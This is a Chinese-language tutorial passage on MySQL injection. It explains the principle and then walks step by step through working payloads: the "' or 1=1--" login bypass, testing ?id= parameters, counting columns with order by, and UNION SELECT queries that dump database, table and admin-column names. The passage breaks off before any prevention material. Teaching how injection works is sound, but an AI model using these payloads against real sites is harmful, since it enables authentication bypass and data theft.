MySQL注入优化
学习目标
- 了解SQL注入原理
- 掌握防止SQL注入的方法
- 了解SQL优化方法
SQL 注入
SQL注入是通过SQL语法的漏洞,盗取数据、修改数据等的操作。
假设有如下查询语法:
SELECT ? FROM ? WHERE ? LIKE '%好%';
其中'%好%'
为搜索的关键词,表示搜索带有好字的内容
假如把搜索的关键词改为:'%';--好%'
,就能查询全部数据。
案例
举一个比较常见的例子来简要说明一下sql注入的原理。
假如我们有一个users表,里面有两个字段username和password。在我们的java代码中我们初学者都习惯用sql拼接的方式进行用户验证。
String sql = "select id from users where username = '" + username + "' and password = '" + password + "'"
这里的username和password都是我们存取从web表单获得的数据。
下面我们来看一下一种简单的注入,如果我们在表单中username的输入框中输入' or 1=1--
,password的表单中随便输入一些东西,假如这里输入123
。此时我们所要执行的sql语句就变成了
select id from users where username = '' or 1=1-- and password = '123'
我们来看一下这个sql,因为1=1是true,后面 and password = '123’被注释掉了。所以这里完全跳过了sql验证。
注入中常用的函数与语法
- Group_concat():将select的查询结果全部显示出来,占一个显示位
- select version():查询MySQL版本
- select user():查询数据库用户名
- select database()):查询数据库名
- select @@datadir():查询数据库的绝对路径
- select @@version_compile_os:查询操作系统版本
- select current_user():查询当前用户
- Order by: 找列的数量
- Union select:联合查询(联合查询的条件是前一条语句查询不到且字段数与前一条语句的查询字段数一致)
- limit:限制显示个数(如:limit 0 2 表示从第一个开始显示两个)
判断是否存在sql注入漏洞。
-
构建sql语句:
?id=1 and 1=2
查看页面是否正常。结果页面显示不正常。 -
注释:因为id=1为真(可正常访问页面),且1=2为假,所以and条件永远不会成立。对于web应用不会返回结果给用户。则攻击者能看到的是一个错误的界面或者页面结果为空。当然,如果攻击者构造的请求异常,也会导致页面访问不正常。
-
构建新的sql语句,确定是否存在语句逻辑错误导致页面不正常。?id=1 and 1=1 结果页面正常,初步判断存在sql漏洞。
注释:1=1 为真,and条件语句成立。
判断字段数:
- 构建sql语句:
?id=1 and 1=1 order by 1
判断网页是否正常。?id=1 and 1=1 order by 2
判断网页是否正常。?id=1 and 1=1 order by 3
判断网页是否正常。- 结果:
?id=1 and 1=1 order by 3
网页显示不正常,可以判断字段数为2 - 注释:“order by 1”表示对第一栏位进行排序,
判断回显点:
-
构建sql语句:
?id=1 and 1=2 union select 1,2
(之后的查询结果将显示在下图红框位置)
- 注释:union 操作符用于合并两个或多个select语句的结果集,union内部的select语句必须拥有相同数量的列。
获取信息
查看当前数据库名以及数据库版本。
-
构建sql语句:
?id=1 and 1=2 union select 1,database();?id=1 and 1=2 unio select 1, version()
- 注释:
- union select 1 ,database(),其中数字1占一列,凑数,用来满足union定义。
- database():表示网站使用的数据库,version():表示当前mysql的版本,usr():当前mysql的用户。
- 注释:
查询当前数据库以及表名称。
-
构建sql语句:
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
- 注释:
- information_schema数据库用于存储数据库元数据,例如:数据库名,表名,列的数据类型,访问权限等。
- tables用来存储数据库中的表的信息,包括表属于哪个数据库,表的类型,存储引擎,创建时间等。t
- able_schema和table_schema是表tables中的数据库库名和表名。
- limit 0,1 表示第一行显示一行数据。
- limit 1,1表示第二行显示一行数据。
- 注释:
查询表admin中的字段名。
查询三个字段:id、username 、password
- 构建SQL语句:
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
- 构建SQL语句:
?id=1 and 1=2 union select 1,column_name from informati